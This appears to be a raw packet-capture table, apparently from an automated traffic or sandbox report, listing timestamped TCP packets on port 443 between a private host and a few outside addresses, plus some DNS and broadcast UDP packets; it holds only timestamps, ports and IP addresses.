Jan 15, 2025 10:07:25.033917904 CET	49977	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.033937931 CET	443	49977	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.045972109 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.048861980 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.048907042 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.048928976 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.049062014 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.049107075 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.050307035 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.050343037 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.050407887 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.050883055 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.050892115 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.051383972 CET	49979	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.051399946 CET	443	49979	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.060853958 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.060892105 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.060970068 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.061192036 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.061202049 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.543788910 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.544123888 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.544151068 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.544487953 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.544825077 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.544895887 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.545002937 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.557085037 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.557317972 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.557347059 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.557679892 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.557972908 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.558037043 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.558099985 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.562031031 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562052965 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562060118 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562076092 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562082052 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562088013 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562103987 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.562134981 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.562150002 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.562191963 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.563574076 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.563589096 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.563621044 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.563682079 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.563693047 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.563728094 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.569036961 CET	49982	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.569051027 CET	443	49982	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.572271109 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573497057 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573569059 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573587894 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573605061 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573626995 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.573642969 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573662996 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.573663950 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573693037 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.573709965 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.575335026 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.575344086 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.576776981 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.576842070 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.577352047 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.577442884 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.580256939 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.580265045 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.590943098 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.590979099 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.591041088 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.591335058 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.591512918 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.591523886 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.603334904 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.639503956 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.639576912 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.655914068 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.655930042 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.655982971 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.655988932 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.656002045 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.656043053 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.656043053 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.656075001 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.656111956 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.656132936 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.685317039 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.685378075 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.685450077 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.685470104 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.685501099 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.685509920 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.743282080 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.743371964 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.743455887 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.743503094 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.743525028 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.743539095 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.770097971 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.770148993 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.770242929 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.770253897 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.770288944 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.770319939 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.770319939 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.770353079 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.771200895 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.771246910 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.771281004 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.771294117 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.771358013 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.771358013 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.828923941 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.828994036 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.829077005 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829121113 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.829144001 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829147100 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.829201937 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829210997 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.829246044 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829349041 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:25.829406977 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829817057 CET	49976	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:25.829833031 CET	443	49976	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.122636080 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.123079062 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:26.123110056 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.123608112 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.125380039 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:26.125488997 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.125571012 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:26.170737028 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:26.170768023 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:26.203413010 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:26.203520060 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.203641891 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:26.203902006 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:26.203934908 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.857455015 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.859332085 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:26.859358072 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.859769106 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.860373020 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:26.860436916 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:26.909651995 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:27.371329069 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371345043 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371433020 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371514082 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.371545076 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371572018 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371611118 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.371696949 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371748924 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.371767044 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371906996 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.371953964 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.373951912 CET	49998	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.373975039 CET	443	49998	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.374372005 CET	49997	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.374387026 CET	443	49997	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.374742985 CET	49999	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.374747992 CET	443	49999	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.516494036 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.516552925 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:27.516632080 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.516944885 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:27.516967058 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.058360100 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.058706045 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.058737993 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.059055090 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.059484005 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.059547901 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.060246944 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.107347012 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198497057 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198523998 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198533058 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198565960 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198582888 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.198592901 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198621988 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.198645115 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.198667049 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258263111 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258291960 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258344889 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258378029 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258399010 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258419991 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258793116 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258841038 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258850098 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258877039 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:28.258886099 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.258917093 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.259716988 CET	50004	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:28.259737015 CET	443	50004	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:30.001800060 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:30.002239943 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:30.002260923 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:30.002274990 CET	443	50017	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:30.002311945 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:30.002337933 CET	50017	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:33.559561014 CET	443	49749	66.228.45.195	192.168.2.4
Jan 15, 2025 10:07:33.559643984 CET	443	49749	66.228.45.195	192.168.2.4
Jan 15, 2025 10:07:33.559799910 CET	49749	443	192.168.2.4	66.228.45.195
Jan 15, 2025 10:07:34.393568039 CET	49749	443	192.168.2.4	66.228.45.195
Jan 15, 2025 10:07:34.393579006 CET	443	49749	66.228.45.195	192.168.2.4
Jan 15, 2025 10:07:34.885502100 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.885546923 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:34.885638952 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.886683941 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.886698961 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:34.887294054 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.887335062 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:34.887586117 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.887586117 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:34.887613058 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.399236917 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.401082993 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.411581039 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.411592007 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.412714958 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.450180054 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.450216055 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.450746059 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.451895952 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.452109098 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.452311993 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.452404976 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.452512026 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.452574015 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:35.495331049 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:35.499331951 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.017038107 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.017117023 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.017194033 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.017481089 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.017517090 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.528939009 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.529369116 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.529392958 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.529918909 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.530366898 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.530448914 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.530668974 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:36.571331024 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:36.759680986 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:36.759826899 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:36.759891987 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:37.096424103 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.098784924 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.098865032 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.098875046 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.099028111 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.099091053 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.099560022 CET	50065	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.099566936 CET	443	50065	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.103283882 CET	50007	443	192.168.2.4	142.250.186.164
Jan 15, 2025 10:07:37.103306055 CET	443	50007	142.250.186.164	192.168.2.4
Jan 15, 2025 10:07:37.103696108 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.103734970 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.103801966 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.104063034 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.104079008 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.156507969 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.159435034 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.159544945 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.159581900 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.159605980 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.159640074 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.159681082 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.159920931 CET	50064	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.159935951 CET	443	50064	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.164216995 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.164235115 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.164330959 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.164648056 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.164657116 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.615988016 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.616439104 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.616467953 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.616787910 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.617223978 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.617283106 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.617420912 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.659344912 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.672821999 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.673222065 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.673234940 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.673535109 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.673959970 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.674005985 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:37.674156904 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:37.715327024 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:38.459883928 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:38.460287094 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:38.460325003 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:38.460354090 CET	443	50076	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:38.460437059 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:38.460437059 CET	50076	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.254671097 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.257122993 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.257208109 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.257224083 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.257237911 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.257312059 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.257442951 CET	50083	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.257458925 CET	443	50083	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.263044119 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.265939951 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.265996933 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.266022921 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.266135931 CET	443	50082	172.235.150.19	192.168.2.4
Jan 15, 2025 10:07:39.266185045 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.266319036 CET	50082	443	192.168.2.4	172.235.150.19
Jan 15, 2025 10:07:39.266335011 CET	443	50082	172.235.150.19	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 10:06:19.887247086 CET	138	138	192.168.2.4	192.168.2.255
Jan 15, 2025 10:06:22.142546892 CET	53	51214	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:22.235626936 CET	53	62125	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:23.214025021 CET	53	55649	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:26.140675068 CET	56235	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:26.140803099 CET	62998	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:26.147732973 CET	53	56235	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:26.148344040 CET	53	62998	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:27.734695911 CET	61801	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:27.734946012 CET	59165	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:28.859673023 CET	58052	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:28.859810114 CET	60547	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:28.989470005 CET	53	58052	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:28.991034985 CET	53	60547	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:34.623297930 CET	58248	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:34.623441935 CET	64471	53	192.168.2.4	1.1.1.1
